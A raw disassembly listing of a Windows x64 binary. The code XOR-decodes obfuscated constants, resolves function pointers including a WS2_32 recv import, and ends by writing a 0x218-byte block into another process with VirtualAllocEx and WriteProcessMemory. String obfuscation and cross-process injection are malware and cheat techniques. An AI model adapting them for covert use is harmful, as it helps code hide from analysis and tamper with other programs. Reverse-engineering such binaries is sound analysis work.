jmp 0x1400349f8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x14f0b66985e56d6a
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1d1b496406208b96
mov qword [rbp + 0x80f8], rax
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe000000020045e75
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7b94c21cedb61924
mov qword [rbp + 0x8130], rax
movabs rax, 0x707e3d177f73e5e1
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x2f40]
lea rcx, [rbp + 0x30]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r13, 1
jne 0x1400343f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movabs rax, 0x6584b7982b4fcd6
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6af8699e19815f34
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6a363912f1db88b8
mov qword [rbp + 0x8110], rax
movabs rax, 0x6af8699e7cf93a1a
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1ed0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1ed0]
call fcn.1400532e0
mov qword [r14 + 0x38], rax
test rax, rax
jne 0x14003466d
movabs rax, 0x47424446c655de
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe95a876d31374d6
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x47423629b4279b
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x9e0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x9f0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xa00], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xa10], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xa20], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa30], xmm0
movabs rax, 0x1fffffffe6590c04
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe000000019a9018c
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1fffffffe6590630
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x550], xmm0
movaps xmm0, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x560], xmm0
movaps xmm1, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x570], xmm1
lea r8, [rbp + 0x9e0]
lea rdx, [rbp + 0x550]
jmp 0x1400349f8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7ff111792ebd668
mov qword [rbp + 0x80f0], rax
movabs rax, 0xafe3a577b659007
mov qword [rbp + 0x80f8], rax
movabs rax, 0x44d17c55771bf30
mov qword [rbp + 0x8100], rax
movabs rax, 0x523ee6c684d1c8df
mov qword [rbp + 0x8108], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x688d4163f7aca538
mov qword [rbp + 0x8130], rax
movabs rax, 0x7e9d5f040816f564
mov qword [rbp + 0x8138], rax
movabs rax, 0x452864a4151fd059
mov qword [rbp + 0x8140], rax
movabs rax, 0x523e95b5e1a3acbb
mov qword [rbp + 0x8148], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x5ce0]
lea rcx, [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140034760
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
movabs rax, 0x6396a3d1a16a27d
mov qword [rbp + 0x80f0], rax
movabs rax, 0x7b2abcc7dc23786f
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6a5718566979d613
mov qword [rbp + 0x8110], rax
movabs rax, 0x7b2abcc7b95b1d41
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x16b0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5ce0]
lea rcx, [rbp + 0x16b0]
call fcn.1400532e0
mov qword [r14 + 0x48], rax
test rax, rax
jne 0x140034a16
movabs rax, 0x45975e86d60e77
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe9313b5d25ce252
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x45972ce9a47c32
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm0
movabs rax, 0x1fffffffe6344517
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe000000019d75e8b
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1fffffffe6344f22
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x230], xmm0
movaps xmm0, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x240], xmm0
movaps xmm1, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x250], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x230]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
jmp 0x140034a7e
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x218
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140034a6d
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x218
mov r8, r14
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rbp + 0x270]
test rax, rax
je 0x140034a7c
mov qword [rax], rbx
mov bl, 1
lea rcx, [rbp + 0x8090]
call fcn.140059be0
movzx eax, bl
jmp 0x14002dad6